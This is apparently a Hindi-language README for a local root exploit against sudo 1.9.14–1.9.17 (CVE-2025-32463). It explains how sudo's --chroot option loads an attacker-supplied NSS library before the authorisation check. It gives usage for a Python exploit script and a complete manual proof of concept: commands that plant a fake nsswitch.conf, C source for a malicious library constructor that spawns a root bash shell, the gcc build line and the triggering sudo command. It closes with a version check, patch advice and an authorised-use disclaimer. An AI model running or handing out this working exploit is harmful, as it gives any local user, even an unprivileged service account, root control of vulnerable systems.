
sudo 1.9.14-1.9.17 के लिए स्थानीय विशेषाधिकार वृद्धि शोषण, जो CVE-2025-32463 chroot हैंडलिंग का दुरुपयोग करता है, किसी भी स्थानीय उपयोगकर्ता के लिए रूट शेल उत्पन्न करने हेतु दुर्भावनापूर्ण NSS लाइब्रेरी कंस्ट्रक्टर स्थापित करता है।
sudo में --chroot (-R) विकल्प के माध्यम से root तक स्थानीय विशेषाधिकार वृद्धि। यह किसी भी स्थानीय उपयोगकर्ता के लिए काम करता है, जिसमें ऐसे खाते भी शामिल हैं जिनके पास बिल्कुल भी sudoers प्रविष्टि नहीं है (जैसे www-data)।
sudo 1.9.14 – 1.9.17 उपयोगकर्ता द्वारा दी गई निर्देशिका में chroot() करता है जबकि sudoers नीति का मूल्यांकन अभी भी किया जा रहा है — अर्थात प्राधिकरण निर्णय से पहले। उस chroot() के बाद, sudo की NSS लुकअप हमलावर के chroot के अंदर से /etc/nsswitch.conf पढ़ती हैं, और glibc एक नकली स्रोत नाम को dlopen("libnss_<name>.so.2") में बदल देता है — जो लोड होता है और उसका कंस्ट्रक्टर root के रूप में निष्पादित होता है।
नकली nsswitch.conf (passwd: /woot1337) के साथ एक दुर्भावनापूर्ण libnss_/woot1337.so.2 रखने पर, जिसका ELF कंस्ट्रक्टर setreuid(0) + exec("/bin/bash") करता है, एक root शेल प्राप्त होता है। यह एक्सप्ल्वाइट sudoers जाँच से पहले सक्रिय हो जाता है, इसलिए चलाने वाले को sudo विशेषाधिकारों की आवश्यकता नहीं होती।
1.9.14 – 1.9.171.9.17p1 (1.9.14 का chroot परिवर्तन वापस ले लिया गया; यह सुविधा अप्रचलित कर दी गई)Python 3 मानक पुस्तकालय, लक्ष्य पर एक असुरक्षित setuid sudo (1.9.14–1.9.17), और gcc (छोटे libnss मॉड्यूल को बनाने के लिए)। इसे कम-विशेषाधिकार वाले उपयोगकर्ता के रूप में चलाएँ।
python3 exploit.py # -> interactive root shell
python3 exploit.py -c 'id' # run a single command as root
etc/nsswitch.conf = passwd: /woot1337 हो (+ /etc/group की एक प्रति)।libnss_/woot1337.so.2 संकलित करें — एक ELF जिसका कंस्ट्रक्टर (__attribute__((constructor)))
setreuid(0,0) और execl("/bin/bash", …) करता है।sudo -R woot woot — sudo woot में chroot करता है, NSS को हल करता है, libnss_/woot1337.so.2 को
root के रूप में dlopen करता है, और कंस्ट्रक्टर एक root शेल देता है — इससे पहले कि sudo कभी
यह जाँचे कि उपयोगकर्ता अधिकृत है या नहीं।प्रामाणिक मैनुअल PoC (Stratascale / pr0v3rbs "chwoot"):
cd $(mktemp -d); mkdir -p woot/etc libnss_
echo 'passwd: /woot1337' > woot/etc/nsswitch.conf; cp /etc/group woot/etc
cat > w.c <<'EOF'
#include <stdlib.h>
#include <unistd.h>
__attribute__((constructor)) void woot(void){setreuid(0,0);setregid(0,0);chdir("/");execl("/bin/bash","/bin/bash","-p",NULL);}
EOF
gcc -shared -fPIC -Wl,-init,woot -o libnss_/woot1337.so.2 w.c
sudo -R woot woot # -> root
sudo --version | head -1 # "Sudo version 1.9.14" .. "1.9.17" => vulnerable ; 1.9.17p1 => patched
sudo को ≥ 1.9.17p1 पर अपडेट करें। chroot सुविधा अप्रचलित है और इस पर भरोसा नहीं किया जाना चाहिए।
केवल अधिकृत सुरक्षा परीक्षण और शिक्षा के लिए। इसका उपयोग केवल उन्हीं सिस्टमों के विरुद्ध करें जिनके आप स्वामी हैं या जिनके परीक्षण की आपको स्पष्ट अनुमति है।